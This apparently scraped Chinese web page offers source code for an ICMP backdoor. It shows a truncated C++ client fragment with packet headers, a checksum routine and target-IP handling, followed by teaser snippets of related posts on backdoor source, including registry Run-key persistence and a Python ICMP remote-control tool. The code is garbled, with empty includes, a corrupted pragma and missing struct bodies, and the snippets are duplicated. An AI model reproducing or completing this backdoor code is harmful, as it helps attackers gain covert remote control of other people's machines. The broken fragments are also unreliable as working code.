ICMP後門程式原碼

2021-03-31 08:56:28 字數 2902 閱讀 3198

//*********client.cpp***********/// 

#include  

#include  

#include  

pragma ***ment(lib,"ws2_32.lib) 

char sendmsg[256]; 

/* the ip header */ 

typedef struct iphdr ipheader; 

typedef struct _ihdr 

icmpheader; 

#define status_failed 0xffff 

#define max_packet 2000 

char arg[1450]; 

#define xmalloc(s) heapalloc(getprocessheap(), heap_zero_memory, (s)) 

void fill_icmp_data(char *, int); 

ushort checksum(ushort *, int); 

void decode_resp(char *,int ,struct sockaddr_in *);//icmp解包函式 

void help(void); 

void usage(char * prog); 

int main(int argc, char *argv) 

icmp_dest_ip=argv[1];//取得目標主機ip 

後門程式 示例

後門程式bdoor及原始碼選擇自 amh 的 blog include stdafx.h include winsock2.h pragma comment lib,ws2 32 define port 5010 define reg run software microsoft windows c...

Python3實現ICMP遠控後門 上 補充篇

icmp後門 上 補充篇 對於校驗和的計算,我對寫校驗和的 進行了如下注釋,注意看註釋就會明白校驗的整個流程。def checksum packet 校驗 packet為icmp頭部和data的位元組流,其中icmp校驗和欄位初始化為0 sum 0 countto 記錄packet是有多少個16位,...

Python3實現ICMP遠控後門 上 補充篇

icmp後門 上 補充篇 對於校驗和的計算,我對寫校驗和的 進行了如下注釋,注意看註釋就會明白校驗的整個流程。def checksum packet 校驗 packet為icmp頭部和data的位元組流,其中icmp校驗和欄位初始化為0 sum 0 countto 記錄packet是有多少個16位,...

後門程式BDoor原始碼

include stdafx.h include winsock2.h pragma comment lib,ws2 32 define port 5010 define reg run software microsoft windows currentversion run struct thr...

後門留駐程式的相關學習

今天看了一些後門留駐程式,我真是太懶了,每次說更新部落格都更到一半就不想寫了嗚嗚嗚嗚o o,這次是資訊保安的大作業,只寫了一題,還沒有完全寫完,等我寫完再上 哈 雖然學了三年的資訊保安,但我還是完完全全的小白啊o o 主要記錄一下今天學的內容吧 維基百科連結 分享一個介紹svchost.exe很詳細...